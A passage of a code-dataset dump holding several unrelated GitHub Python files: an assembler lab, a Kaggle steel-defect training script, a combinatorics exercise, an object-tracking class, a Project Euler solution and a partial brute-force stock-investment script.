literalTable:\n            print(\"lit.lit= {} inst.mem= {}\".format(lit.lit,instruction.memory[0]))\n            if lit.lit==instruction.memory[0] and lit.used==False:\n\n                lit.used=True\n                return index+1\n            else:\n                index+=1\n        return -9\n    if memorytype=='S':\n        index=0\n        for symbol in symbolTable:\n            if symbol.sym==instruction.memory[0]:\n                return index+1\n            else:\n                index+=1\n\ndef writeToFile(file):\n    global inputInstructionsTable\n    global instructionList\n    global symbolTable\n    global literalTable\n    global registerList\n\n    file.write(\"\\n\")\n    file.write(\"intermediate code \\n\")\n    for _instruction in inputInstructionsTable:\n        insType=_instruction.type\n        insMXCode=_instruction.machineCode\n        insRegisterIndex=getRegisterindex(_instruction.register)\n        memoryType = getMemoryType(_instruction)\n        insFourth=fourthCol(_instruction, memoryType)\n\n        file.write('('+insType+','+insMXCode+')')       #6\n        if(insRegisterIndex>0):\n            file.write('\\t('+str(insRegisterIndex)+')\\t')       #11\n        else:\n            file.write('         ')\n\n        if len(memoryType)!=0:\n            file.write('(' + memoryType + ',' + str(insFourth) + ')')   #5\n        else:\n            file.write(\"     \")\n\n        file.write('\\t\\t'+str(_instruction.locationCounter))\n\n        file.write('\\n')\n\n    file.write(\"\\n\\n\\n\")\n    file.write(\"Symbol Table\\n\")\n    index=1\n    for symbol in symbolTable:\n        file.write('{}\\t{}\\t{}'.format(index,symbol.sym,symbol.address))\n        file.write('\\n')\n        index+=1\n\n    file.write(\"\\n\\n\\n\")\n    file.write(\"Literal Table\\n\")\n    index=1\n    for literal in literalTable:\n        file.write('{}\\t{}\\t{}'.format(index,literal.lit,literal.address))\n        file.write('\\n')\n        index+=1\n\n\nlocationCounter=0\nliteralTable=[]\nsymbolTable=[]\n\noptab=open(\"optab.txt\",'r')\nip=open(\"code1.txt\",'r')\n\nregisterList=['AREG','BREG','CREG','DREG']\n\ninstructionList=loadTableOptab(parseInstructions(optab))     #array of classes of optab\ninputInstructionsTable=parseInstructions(ip)         #array of instructions of input code\ninputInstructionsTable=classUp(inputInstructionsTable)\n#for ele in inputInstructionsTable:\n #   print(ele.type,ele.name,ele.register,ele.memory,ele.locationCounter)\n\nfor ele in inputInstructionsTable:\n     print(ele.type,ele.name,ele.register,ele.memory,end=\"\\t\\t\\t\")\n     #if(ele.type!=\"AD\"):\n     print(ele.locationCounter,ele.weight,end=\"\")\n     print()\n\n\nprint(\"literals: \")\nfor ele in literalTable:\n    print(ele.lit,ele.address)\n\n\nprint(\"------------\")\nprint(\"symbol table: \")\nfor ele in symbolTable:\n    print(ele.sym,ele.address)\n\nprint(\"------\")\ncodeop=open(\"codeop.txt\",'w')\nwriteToFile(codeop)\n","repo_name":"anonymous-baaka/System-Software-lab","sub_path":"expt2/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":8627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72956417655","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\nimport numpy as np\nimport pandas as pd\nimport os\n\nfrom timeit import default_timer as timer\nimport cv2\nimport matplotlib.pyplot as plt\n\nfrom torch.utils.data import DataLoader, Dataset, RandomSampler, SequentialSampler\nimport torch.utils.data as data\nimport torchvision.models as models\nimport torch.nn as nn\nfrom torch.nn import functional as F\nimport torch\n\nfrom heng_s_utility_functions import *\nfrom heng_s_models_all import *\n\nPI = np.pi\nIMAGE_RGB_MEAN = [0.485, 0.456, 0.406]\nIMAGE_RGB_STD  = [0.229, 0.224, 0.225]\nDEFECT_COLOR = [(0,0,0),(0,0,255),(0,255,0),(255,0,0),(0,255,255)]\n\n\n\n\nSPLIT_DIR = '../input/hengs-split'\nDATA_DIR = '../input/severstal-steel-defect-detection'\n\n\n\n\nclass Net(nn.Module):\n    def load_pretrain(self, skip, is_print=True):\n        conversion=copy.copy(CONVERSION)\n        for i in range(0,len(conversion)-8,4):\n            conversion[i] = 'block.' + conversion[i][5:]\n        load_pretrain(self, skip, pretrain_file=PRETRAIN_FILE, conversion=conversion, is_print=is_print)\n\n    def __init__(self, num_class=4, drop_connect_rate=0.2):\n        super(Net, self).__init__()\n\n        e = ResNet34()\n        self.block = nn.ModuleList([\n            e.block0,\n            e.block1,\n            e.block2,\n            e.block3,\n            e.block4,\n        ])\n        e = None  #dropped\n        self.feature = nn.Conv2d(512,32, kernel_size=1) #dummy conv for dim reduction\n        self.logit = nn.Conv2d(32,num_class, kernel_size=1)\n\n    def forward(self, x):\n        batch_size,C,H,W = x.shape\n\n        for i in range( len(self.block)):\n            x = self.block[i](x)\n            #print(i, x.shape)\n\n        x = F.dropout(x,0.5,training=self.training)\n        x = F.adaptive_avg_pool2d(x, 1)\n        x = self.feature(x)\n        logit = self.logit(x)\n        return logit\n\n\n\n\n# Class which is used by the infor object in __get_item__\nclass Struct(object):\n    def __init__(self, is_copy=False, **kwargs):\n        self.add(is_copy, **kwargs)\n\n    def add(self, is_copy=False, **kwargs):\n        #self.__dict__.update(kwargs)\n\n        if is_copy == False:\n            for key, value in kwargs.items():\n                setattr(self, key, value)\n        else:\n            for key, value in kwargs.items():\n                try:\n                    setattr(self, key, copy.deepcopy(value))\n                    #setattr(self, key, value.copy())\n                except Exception:\n                    setattr(self, key, value)\n\n    def __str__(self):\n        text =''\n        for k,v in self.__dict__.items():\n            text += '\\t%s : %s\\n'%(k, str(v))\n        return text\n\n# Creating masks\ndef run_length_decode(rle, height=256, width=1600, fill_value=1):\n    mask = np.zeros((height,width), np.float32)\n    if rle != '':\n        mask=mask.reshape(-1)\n        r = [int(r) for r in rle.split(' ')]\n        r = np.array(r).reshape(-1, 2)\n        for start,length in r:\n            start = start-1  #???? 0 or 1 index ???\n            mask[start:(start + length)] = fill_value\n        mask=mask.reshape(width, height).T\n    return mask\n\n# Collations\ndef null_collate(batch):\n    batch_size = len(batch)\n\n    input = []\n    truth_mask  = []\n    truth_label = []\n    infor = []\n    for b in range(batch_size):\n        input.append(batch[b][0])\n        truth_mask.append(batch[b][1])\n        infor.append(batch[b][2])\n\n        label = (batch[b][1].reshape(4,-1).sum(1)>8).astype(np.int32)\n        truth_label.append(label)\n\n\n    input = np.stack(input)\n    input = image_to_input(input, IMAGE_RGB_MEAN,IMAGE_RGB_STD)\n    input = torch.from_numpy(input).float()\n\n    truth_mask = np.stack(truth_mask)\n    truth_mask = (truth_mask>0.5).astype(np.float32)\n    truth_mask = torch.from_numpy(truth_mask).float()\n\n    truth_label = np.array(truth_label)\n    truth_label = torch.from_numpy(truth_label).float()\n\n    return input, truth_mask, truth_label, infor\n\n# Metric\ndef metric_hit(logit, truth, threshold=0.5):\n    batch_size,num_class, H,W = logit.shape\n\n    with torch.no_grad():\n        logit = logit.view(batch_size,num_class,-1)\n        truth = truth.view(batch_size,num_class,-1)\n\n        probability = torch.sigmoid(logit)\n        p = (probability>threshold).float()\n        t = (truth>0.5).float()\n\n        tp = ((p + t) == 2).float()  # True positives\n        tn = ((p + t) == 0).float()  # True negatives\n\n        tp = tp.sum(dim=[0,2])\n        tn = tn.sum(dim=[0,2])\n        num_pos = t.sum(dim=[0,2])\n        num_neg = batch_size*H*W - num_pos\n\n        tp = tp.data.cpu().numpy()\n        tn = tn.data.cpu().numpy().sum()\n        num_pos = num_pos.data.cpu().numpy()\n        num_neg = num_neg.data.cpu().numpy().sum()\n\n        tp = np.nan_to_num(tp/(num_pos+1e-12),0)\n        tn = np.nan_to_num(tn/(num_neg+1e-12),0)\n\n        tp = list(tp)\n        num_pos = list(num_pos)\n\n    return tn,tp, num_neg,num_pos\n\n# Loss\ndef criterion(logit, truth, weight=None):\n    batch_size,num_class, H,W = logit.shape\n    logit = logit.view(batch_size,num_class)\n    truth = truth.view(batch_size,num_class)\n    assert(logit.shape==truth.shape)\n\n    loss = F.binary_cross_entropy_with_logits(logit, truth, reduction='none')\n\n    if weight is None:\n        loss = loss.mean()\n\n    else:\n        pos = (truth>0.5).float()\n        neg = (truth<0.5).float()\n        pos_sum = pos.sum().item() + 1e-12\n        neg_sum = neg.sum().item() + 1e-12\n        loss = (weight[1]*pos*loss/pos_sum + weight[0]*neg*loss/neg_sum).sum()\n        #raise NotImplementedError\n\n    return loss\n\n# Learning Rate Adjustments\ndef adjust_learning_rate(optimizer, lr):\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = lr\n\ndef get_learning_rate(optimizer):\n    lr=[]\n    for param_group in optimizer.param_groups:\n       lr +=[ param_group['lr'] ]\n\n    assert(len(lr)==1) #we support only one param_group\n    lr = lr[0]\n    return lr\n\n# Learning Rate Schedule\nclass NullScheduler():\n    def __init__(self, lr=0.01 ):\n        super(NullScheduler, self).__init__()\n        self.lr    = lr\n        self.cycle = 0\n\n    def __call__(self, time):\n        return self.lr\n\n    def __str__(self):\n        string = 'NullScheduler\\n'                 + 'lr=%0.5f '%(self.lr)\n        return string\n\n\n\n\nschduler = NullScheduler(lr=0.001)\nbatch_size = 4 #8\niter_accum = 8\n\n\n\n\nclass SteelDataset(Dataset):\n    def __init__(self, split, csv, mode, augment=None):\n#         import pdb; pdb.set_trace()\n        self.split   = split\n        self.csv     = csv\n        self.mode    = mode\n        self.augment = augment\n\n        self.uid = list(np.concatenate([np.load(SPLIT_DIR + '/%s'%f , allow_pickle=True) for f in split]))\n        df = pd.concat([pd.read_csv(DATA_DIR + '/%s'%f) for f in csv])\n        df.fillna('', inplace=True)\n        df['Class'] = df['ImageId_ClassId'].str[-1].astype(np.int32)\n        df['Label'] = (df['EncodedPixels']!='').astype(np.int32)\n        df = df_loc_by_list(df, 'ImageId_ClassId', [ u.split('/')[-1] + '_%d'%c  for u in self.uid for c in [1,2,3,4] ])\n        self.df = df\n\n    def __str__(self):\n        num1 = (self.df['Class']==1).sum()\n        num2 = (self.df['Class']==2).sum()\n        num3 = (self.df['Class']==3).sum()\n        num4 = (self.df['Class']==4).sum()\n        pos1 = ((self.df['Class']==1) & (self.df['Label']==1)).sum()\n        pos2 = ((self.df['Class']==2) & (self.df['Label']==1)).sum()\n        pos3 = ((self.df['Class']==3) & (self.df['Label']==1)).sum()\n        pos4 = ((self.df['Class']==4) & (self.df['Label']==1)).sum()\n\n        length = len(self)\n        num = len(self)*4\n        pos = (self.df['Label']==1).sum()\n        neg = num-pos\n\n        #---\n\n        string  = ''\n        string += '\\tmode    = %s\\n'%self.mode\n        string += '\\tsplit   = %s\\n'%self.split\n        string += '\\tcsv     = %s\\n'%str(self.csv)\n        string += '\\t\\tlen   = %5d\\n'%len(self)\n        if self.mode == 'train':\n            string += '\\t\\tnum   = %5d\\n'%num\n            string += '\\t\\tneg   = %5d  %0.3f\\n'%(neg,neg/num)\n            string += '\\t\\tpos   = %5d  %0.3f\\n'%(pos,pos/num)\n            string += '\\t\\tpos1  = %5d  %0.3f  %0.3f\\n'%(pos1,pos1/length,pos1/pos)\n            string += '\\t\\tpos2  = %5d  %0.3f  %0.3f\\n'%(pos2,pos2/length,pos2/pos)\n            string += '\\t\\tpos3  = %5d  %0.3f  %0.3f\\n'%(pos3,pos3/length,pos3/pos)\n            string += '\\t\\tpos4  = %5d  %0.3f  %0.3f\\n'%(pos4,pos4/length,pos4/pos)\n        return string\n\n\n    def __len__(self):\n        return len(self.uid)\n\n\n    def __getitem__(self, index):\n        # print(index)\n        folder, image_id = self.uid[index].split('/')\n\n        rle = [\n            self.df.loc[self.df['ImageId_ClassId']==image_id + '_1','EncodedPixels'].values[0],\n            self.df.loc[self.df['ImageId_ClassId']==image_id + '_2','EncodedPixels'].values[0],\n            self.df.loc[self.df['ImageId_ClassId']==image_id + '_3','EncodedPixels'].values[0],\n            self.df.loc[self.df['ImageId_ClassId']==image_id + '_4','EncodedPixels'].values[0],\n        ]\n        image = cv2.imread(DATA_DIR + '/%s/%s'%(folder,image_id), cv2.IMREAD_COLOR)\n        mask  = np.array([run_length_decode(r, height=256, width=1600, fill_value=1) for r in rle])\n\n        infor = Struct(\n            index    = index,\n            folder   = folder,\n            image_id = image_id,\n        )\n\n        if self.augment is None:\n            return image, mask, infor\n        else:\n            return self.augment(image, mask, infor)\n\n\n\n\ndef do_valid(net, valid_loader, displays=None):\n    valid_num  = np.zeros(6, np.float32)\n    valid_loss = np.zeros(6, np.float32)\n    \n    for t, (input, truth_mask, truth_label, infor) in enumerate(valid_loader):\n\n        #if b==5: break\n        net.eval()\n        input = input.cuda()\n        truth_mask  = truth_mask.cuda()\n        truth_label = truth_label.cuda()\n\n        with torch.no_grad():\n            logit = net(input) #data_parallel(net, input)\n            loss  = criterion(logit, truth_label)\n            tn,tp, num_neg,num_pos = metric_hit(logit, truth_label)\n\n\n            #zz=0\n        #---\n        batch_size = len(infor)\n        l = np.array([ loss.item(), tn,*tp])\n        n = np.array([ batch_size, num_neg,*num_pos])\n        valid_loss += l*n\n        valid_num  += n\n\n        #debug-----------------------------\n        if displays is not None:\n            probability = torch.sigmoid(logit)\n            image = input_to_image(input, IMAGE_RGB_MEAN,IMAGE_RGB_STD)\n\n            probability_label = probability.data.cpu().numpy()\n            truth_label = truth_label.data.cpu().numpy()\n            truth_mask  = truth_mask.data.cpu().numpy()\n\n            for b in range(0, batch_size, 4):\n                image_id = infor[b].image_id[:-4]\n                result = draw_predict_result_label(image[b], truth_mask[b], truth_label[b], probability_label[b], stack='vertical')\n                draw_shadow_text(result,'%05d    %s.jpg'%(valid_num[0]-batch_size+b, image_id),(5,24),0.75,[255,255,255],1)\n                image_show('result',result,resize=1)\n#                 cv2.imwrite(out_dir +'/valid/%s.png'%(image_id), result)\n#                 cv2.waitKey(1)\n                pass\n        #debug-----------------------------\n\n        #print(valid_loss)\n        print('\\r %8d /%8d'%(valid_num[0], len(valid_loader.dataset)),end='',flush=True)\n\n        pass  #-- end of one data loader --\n    assert(valid_num[0] == len(valid_loader.dataset))\n    valid_loss = valid_loss/valid_num\n\n    return valid_loss\n\n\n\n\ndef run_train():\n    batch_size = 4\n    \n    initial_checkpoint =     '/root/share/project/kaggle/2019/steel/result1/resnet34-cls-full-foldb0-0/checkpoint/00007500_model.pth'\n    \n    train_dataset = SteelDataset(\n        mode    = 'train',\n        csv     = ['train.csv',],\n        split   = ['train_b1_11568.npy',],\n        augment = train_augment,\n    )\n    train_loader  = DataLoader(\n        train_dataset,\n        #sampler     = BalanceClassSampler(train_dataset, 3*len(train_dataset)),\n        #sampler    = SequentialSampler(train_dataset),\n        sampler    = RandomSampler(train_dataset),\n        batch_size  = batch_size,\n        drop_last   = True,\n        num_workers = 2,\n        pin_memory  = True,\n        collate_fn  = null_collate\n    )\n\n    valid_dataset = SteelDataset(\n        mode    = 'train',\n        csv     = ['train.csv',],\n        split   = ['valid_b1_1000.npy',],\n        augment = valid_augment,\n    )\n    valid_loader = DataLoader(\n        valid_dataset,\n        sampler    = SequentialSampler(valid_dataset),\n        #sampler     = RandomSampler(valid_dataset),\n        batch_size  = 4,\n        drop_last   = False,\n        num_workers = 2,\n        pin_memory  = True,\n        collate_fn  = null_collate\n    )\n    \n    assert(len(train_dataset)>=batch_size)\n    \n    net = Net().cuda()\n    \n#     if initial_checkpoint is not None:\n#         state_dict = torch.load(initial_checkpoint, map_location=lambda storage, loc: storage)\n#         #for k in ['logit.weight','logit.bias']: state_dict.pop(k, None)\n\n#         net.load_state_dict(state_dict,strict=False)\n#     else:\n#         load_pretrain(net.e, skip=['logit'], is_print=False)\n        \n    optimizer = torch.optim.SGD(filter(lambda p: p.requires_grad, net.parameters()), lr=schduler(0), momentum=0.9, weight_decay=0.0001)\n\n    num_iters   = 3000*1000\n    iter_smooth = 50\n    iter_log    = 500\n    iter_valid  = 1500\n    iter_save   = [0, num_iters-1]                   + list(range(0, num_iters, 1500))#1*1000\n\n    start_iter = 0\n    start_epoch= 0\n    rate       = 0\n    if initial_checkpoint is not None:\n        initial_optimizer = initial_checkpoint.replace('_model.pth','_optimizer.pth')\n        if os.path.exists(initial_optimizer):\n            checkpoint  = torch.load(initial_optimizer)\n            start_iter  = checkpoint['iter' ]\n            start_epoch = checkpoint['epoch']\n            #optimizer.load_state_dict(checkpoint['optimizer'])\n        pass\n    \n    train_loss = np.zeros(20,np.float32)\n    valid_loss = np.zeros(20,np.float32)\n    batch_loss = np.zeros(20,np.float32)\n    iter = 0\n    i    = 0\n    \n    start = timer()\n#     import pdb; pdb.set_trace()\n    while  iter<num_iters:\n        sum_train_loss = np.zeros(20,np.float32)\n        sum = np.zeros(20,np.float32)\n\n        optimizer.zero_grad()\n        for t, (input, truth_mask, truth_label, infor) in enumerate(train_loader):\n            batch_size = len(infor)\n            iter  = i + start_iter\n            epoch = (iter-start_iter)*batch_size/len(train_dataset) + start_epoch\n            \n            # Weather to display images or not! While in validation loss\n            displays = None\n            #if 0:\n            if (iter % iter_valid==0):\n                valid_loss = do_valid(net, valid_loader, displays) # omitted outdir variable\n                #pass\n\n            if (iter % iter_log==0):\n                print('\\r',end='',flush=True)\n                asterisk = '*' if iter in iter_save else ' '\n                print('%0.5f  %5.1f%s %5.1f |  %5.3f   %4.2f [%4.2f,%4.2f,%4.2f,%4.2f]  |  %5.3f   %4.2f [%4.2f,%4.2f,%4.2f,%4.2f]  | %s' % (                         rate, iter/1000, asterisk, epoch,\n                         *valid_loss[:6],\n                         *train_loss[:6],\n                         time_to_str((timer() - start),'min'))\n                )\n                print('\\n')\n                \n            #if 0:\n            if iter in iter_save:\n                torch.save(net.state_dict(),'../working/%08d_model.pth'%(iter))\n                torch.save({\n                    #'optimizer': optimizer.state_dict(),\n                    'iter'     : iter,\n                    'epoch'    : epoch,\n                }, '../working/%08d_optimizer.pth'%(iter))\n                pass\n\n            # learning rate schduler -------------\n            lr = schduler(iter)\n            if lr<0 : break\n            adjust_learning_rate(optimizer, lr)\n            rate = get_learning_rate(optimizer)\n            \n            net.train()\n            input = input.cuda()\n            truth_label = truth_label.cuda()\n            truth_mask  = truth_mask.cuda()\n\n            logit =  net(input) #data_parallel(net,input)  \n            loss = criterion(logit, truth_label)\n            tn,tp, num_neg,num_pos = metric_hit(logit, truth_label)\n            \n            (loss/iter_accum).backward()\n            if (iter % iter_accum)==0:\n                optimizer.step()\n                optimizer.zero_grad()\n\n            # print statistics  ------------\n            l = np.array([ loss.item(), tn,*tp ])\n            n = np.array([ batch_size, num_neg,*num_pos ])\n\n            batch_loss[:6] = l\n            sum_train_loss[:6] += l*n\n            sum[:6] += n\n            if iter%iter_smooth == 0:\n                train_loss = sum_train_loss/(sum+1e-12)\n                sum_train_loss[...] = 0\n                sum[...]            = 0\n\n\n            print('\\r',end='',flush=True)\n            asterisk = ' '\n            print('%0.5f  %5.1f%s %5.1f |  %5.3f   %4.2f [%4.2f,%4.2f,%4.2f,%4.2f]  |  %5.3f   %4.2f [%4.2f,%4.2f,%4.2f,%4.2f]  | %s' % (                         rate, iter/1000, asterisk, epoch,\n                         *valid_loss[:6],\n                         *batch_loss[:6],\n                         time_to_str((timer() - start),'min'))\n            , end='',flush=True)\n            i=i+1\n            \n            # debug-----------------------------\n            if 1:\n                for di in range(3):\n                    if (iter+di)%1000==0:\n\n                        probability = torch.sigmoid(logit)\n                        image = input_to_image(input, IMAGE_RGB_MEAN,IMAGE_RGB_STD)\n\n                        probability_label = probability.data.cpu().numpy()\n                        truth_label = truth_label.data.cpu().numpy()\n                        truth_mask  = truth_mask.data.cpu().numpy()\n\n\n                        for b in range(batch_size):\n                            result = draw_predict_result_label(image[b], truth_mask[b], truth_label[b], probability_label[b], stack='vertical')\n\n#                             image_show('result',result,resize=1)\n#                             cv2.imwrite('../working/%05d.png'%(di*100+b), result)\n#                             cv2.waitKey(1)\n                            pass\n\n\n\n        pass  #-- end of one data loader --\n    pass #-- end of all iterations --\n\n\n\n\nprint('rate     iter   epoch |  loss    tn, [tp1,tp2,tp3,tp4]       |  loss    tn, [tp1,tp2,tp3,tp4]       | time           ')\nprint('--------------------------------------------------------------------------------------------------------------------\\n')\nrun_train()\n\n","repo_name":"aorursy/lost-nb","sub_path":"imnitishng_classification-model-training-heng-s-code.py","file_name":"imnitishng_classification-model-training-heng-s-code.py","file_ext":"py","file_size_in_byte":18645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70531307255","text":"N,B,heights,ans,selected = -1,-1,[],9999999,[]\n\ndef comb(idx,n):\n    global ans\n    if n == 0:\n        sum = 0\n        for i in range(N):\n            if selected[i]:\n                sum += heights[i]\n        if sum >=B:\n            ans = min(ans,sum-B)    \n        return\n    for i in range(idx,N):\n        if selected[i]:\n            continue\n        selected[i] = True\n        comb(i,n-1)\n        selected[i] = False\n\nT = int(input())\nfor tc in range(1,T+1):\n    ans = 9999999\n    N,B = list(map(int,input().split()))\n    heights = list(map(int,input().split()))\n    selected = [False for i in range(N)]\n    for n in range(1,N+1):\n        comb(0,n)\n    print(f'#{tc} {ans}')","repo_name":"hyunwoojeong123/Algorithm","sub_path":"SWEA/D4_1486_HighShelves.py","file_name":"D4_1486_HighShelves.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"25570809536","text":"import torch\nimport random\nimport numpy as np\nfrom PIL import Image\nfrom base_tracker import BaseTracker\nfrom .aaa_util import (\n    FeatureExtractor,\n    ShortestPathTracker,\n    WAADelayed,\n    AnchorDetector,\n    calc_overlap,\n)\n\n\nclass AAA(BaseTracker):\n    def __init__(\n        self, n_experts, mode=\"SuperFast\", threshold=0.0,\n    ):\n        super(AAA, self).__init__(\n            f\"AAA/{mode}/{threshold:.2f}\" if threshold > 0 else f\"WithoutDelay/{mode}\"\n        )\n\n        # The number of experts\n        self.n_experts = n_experts\n\n        # Anchor extractor\n        self.detector = AnchorDetector(threshold=threshold)\n\n        # Feature extractor\n        use_cuda = torch.cuda.is_available()\n        device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n        self.extractor = FeatureExtractor(device)\n\n        # Offline tracker\n        self.offline = ShortestPathTracker()\n\n        # If offline tracker is reset\n        self.reset_offline = True\n\n        # Online learner\n        self.learner = WAADelayed()\n\n    def initialize(self, image_file, box):\n        image = Image.open(image_file).convert(\"RGB\")\n\n        # Previous boxes of experts\n        self.prev_boxes = []\n\n        # Extract target image\n        self.target_feature = self.extractor.extract(image, [box])\n\n        # Init detector with target feature\n        self.detector.init(self.target_feature)\n\n        # Init offline tracker with target feature\n        self.offline.initialize(box, self.target_feature)\n\n        # Init online learner\n        self.learner.init(self.n_experts)\n\n    def track(self, image_file, boxes):\n        image = Image.open(image_file).convert(\"RGB\")\n\n        # Save box of experts\n        self.prev_boxes.append(boxes)\n\n        # Extract features from boxes\n        features = self.extractor.extract(image, boxes)\n\n        # Detect if it is anchor frame\n        detected, feature_scores = self.detector.detect(features)\n        anchor = len(detected) > 0\n\n        # If it is anchor frame,\n        if anchor:\n            # Add only boxes whose score is over than threshold to offline tracker\n            self.offline.track(\n                boxes, features, feature_scores\n            )\n\n            # Caluclate optimal path\n            path = self.offline.run(detected)\n\n            # Get the last box's id\n            final_box_id = path[-1][1]\n\n            # Change to ndarray\n            self.prev_boxes = np.stack(self.prev_boxes)\n\n            if self.reset_offline:\n                # Reset offline tracker\n                self.offline.initialize(boxes[final_box_id], features[final_box_id])\n\n                # Get offline tracking results\n                offline_results = np.array(\n                    [self.prev_boxes[frame, ind[1]] for frame, ind in enumerate(path)]\n                )\n\n            else:\n                offline_results = np.array(\n                    [self.prev_boxes[frame, ind[1]] for frame, ind in enumerate(path[-len(self.prev_boxes):])]\n                )\n\n            # Calc losses of experts\n            gradient_losses = self._calc_expert_losses(offline_results)\n\n            # Clean previous boxes\n            self.prev_boxes = []\n\n            # Update weight of experts\n            self.learner.update(gradient_losses)\n\n            # Return last box of offline results\n            predict = boxes[final_box_id]\n\n        # Otherwise\n        else:\n            # Add all boxes to offline tracker\n            self.offline.track(boxes, features, feature_scores)\n\n            # No offline result here\n            offline_results = None\n\n            # Return box with aggrogating experts' box\n            predict = random.choices(boxes, weights=self.learner.w)[0]\n\n        return predict, offline_results, self.learner.w\n\n    def _calc_expert_losses(self, offline_results):\n        \"\"\"\n        offline_results = #frames X 4\n        \"\"\"\n\n        expert_gradient_losses = np.zeros((self.n_experts, len(offline_results)))\n\n        for i in range(self.n_experts):\n            expert_results = self.prev_boxes[:, i, :]\n            expert_gradient_losses[i] = 1 - calc_overlap(\n                expert_results, offline_results\n            )\n\n        return expert_gradient_losses\n","repo_name":"songheony/A3T","sub_path":"algorithms/aaa.py","file_name":"aaa.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"22"}
+{"seq_id":"26988560669","text":"import math\nimport time\n\n\nif __name__==\"__main__\":\n    start = time.time()\n    max = 100\n    d = []\n    count = 0\n    for a in range(2, max + 1):\n        for b in range(2, max + 1):\n            n = math.pow(a, b)\n            if n not in d:\n                #d.append(n)\n                count += 1\n    print(\"numbers count = {}\".format(count))\n    end = time.time()\n    print(\"Completed in {0:.2}s\".format(end - start))","repo_name":"chanchs/euler","sub_path":"problems/problem-29.py","file_name":"problem-29.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12909485169","text":"\"\"\"Votre algorithme doit suggérer une liste des actions les plus rentables que nous devrions \nacheter pour maximiser le profit d'un client au bout de deux ans.\"\"\"\n\n\"\"\"Nous avons les contraintes suivantes :\n-Chaque action ne peut être achetée qu'une seule fois.\n-Nous ne pouvons pas acheter une fraction d'action.\n-Nous pouvons dépenser au maximum 500 euros par client.\n\nParce que nous voulons être aussi transparents que possible pour nos clients, nous voulons que le \nprogramme essaie toutes les différentes combinaisons d'actions qui correspondent \nà nos contraintes, et choisisse le meilleur résultat.  \nLe programme doit donc lire un fichier contenant des informations sur les actions, explorer toutes \nles combinaisons possibles et afficher le meilleur investissement.\n\"\"\"\n\nimport csv\nfrom time import time\n\nMAXIMUM_EXPENDITURE = 500\n\navailable_money = MAXIMUM_EXPENDITURE\n\nactions_parameters = {}  # will contain all actions and their relative information \naction_prices = [] # --> tuple? is more adapted ? ; will be used to limit purchasing\n\n# all_investment_possibilities will contain all tables corresponding to a possibility of investment\nall_investment_possibilities = []\nfirst_investment_possibility = []  # will contain a possibility of investment\nall_investment_possibilities.append(first_investment_possibility)\n\nbest_investment_actions = \"unknown\"\nbest_investment_cost = \"unknown\"\nbest_investment_benefit = \"unknown\"\n\nall_investment_possibilities_which_respect_maximum_expenditure = []\n\n\ndef getActionParametersFromACsvFile(csvFileName):\n    \"\"\"Opens a CSV file and gets parameters and prices of actions\"\"\"\n    # CSV package ; method DictReader() : Cette méthode sait que la première ligne est un en-tête et \n    # sauvegarde les autres lignes en tant que dictionnaires. Chaque clé est un nom de colonne et la \n    # valeur est la valeur de la colonne\n\n    with open(csvFileName) as csv_file:\n        reader = csv.DictReader(csv_file, delimiter=',')\n        for line in reader:\n            # actions_parameters filling\n            action_cost = int(line['Cout_par_action_(en_euros)'])\n            action_benefit_percent = float(line['Bénéfice_(après_2_ans)'])/100  # 7% is noted 7 in the table, as in client data\n            action_benefit_euros = action_cost * action_benefit_percent\n            actions_parameters[line['Action-#']] = [action_cost, action_benefit_euros]\n\n            # actions_prices filling\n            action_prices.append(int(line['Cout_par_action_(en_euros)']))\n\n    # print(actions_parameters[\"Action-1\"])\n\n\ndef getAListOfActionsKeys():\n    \"\"\"Returns a list of actions keys corresponding to actions_parameters dictionnary\"\"\"\n\n    keys_list = []\n    for key in actions_parameters:\n        keys_list.append(key)\n    return keys_list\n\n\ndef define_all_investment_possibilities(all_investment_possibilities, actions_parameters,\n                                        keys_list):\n    \"\"\"Defines all investment possibilities (brute force algorithm)\"\"\"\n\n    # For each action: 2 possibilities: \n    # 1.Do not buy it ; 2.Buy it if its price is <= available_money, \n    # Stop paramater for recursivity ? While available_money >= lowest action price \n\n    # Logique choisie: \n    # pour chaque action : je l'achette ou je ne l'achette pas : \n    # turn 1 : [\"\"],[A]\n    # turn 2 : [\"\", \"\"], [\"\", B],[A, \"\"],[A, B]\n\n    # https://fr.acervolima.com/copie-de-tableaux-en-python/\n    # I need to copy ('copie profonde') the tables \n\n    # Recursivity\n    #mafonction(param1, param2):\n    #   début\n    #        si condition faire\n    #            retourner calcul\n    #        sinon faire\n    #            mafonction(param1, param2)\n    #            retourner quelque-chose\n    #        fin condition faire\n    #    fin\n    #fin ma fonction\n\n    all_investment_possibilities_copy_for_a_loop = all_investment_possibilities.copy()\n    # for computer memory : [action-3] is not interesting if we got [0,0,3,0,0,0,0,0,0,0,0,...]\n    all_investment_possibilities.clear()\n\n    for table_of_possibilities in all_investment_possibilities_copy_for_a_loop:\n \n        if len(keys_list) == 0: \n            break\n\n        elif len(keys_list) > 0:\n\n            #Make a copy and do not buy the action\n            table_of_possibilities_copy_without_buying = table_of_possibilities.copy()\n            table_of_possibilities_copy_without_buying.append([0,0])\n            all_investment_possibilities.append(table_of_possibilities_copy_without_buying)\n\n            #Make a copy and buy the action from actions_parameters\n            table_of_possibilities_copy_with_buying = table_of_possibilities.copy()\n            table_of_possibilities_copy_with_buying.append(actions_parameters[keys_list[0]]) \n            all_investment_possibilities.append(table_of_possibilities_copy_with_buying)\n\n    keys_list.pop(0)\n\n\ndef calculatingCostAndBenefitOfEachInvestment(all_investment_possibilities):\n    for investment_possibility in all_investment_possibilities:\n        # print(investment_possibility)\n        # >>> #[0, 0, [0, 0], [30, 0.1], [50, 0.15], [70, 0.2], [0, 0], [0, 0], [22, 0.07], ...\n        totalInvestmentCost = 0\n        totalInvestmentBenefit = 0\n\n        for action in investment_possibility:\n            # Cost\n            action_cost = action[0]\n            totalInvestmentCost 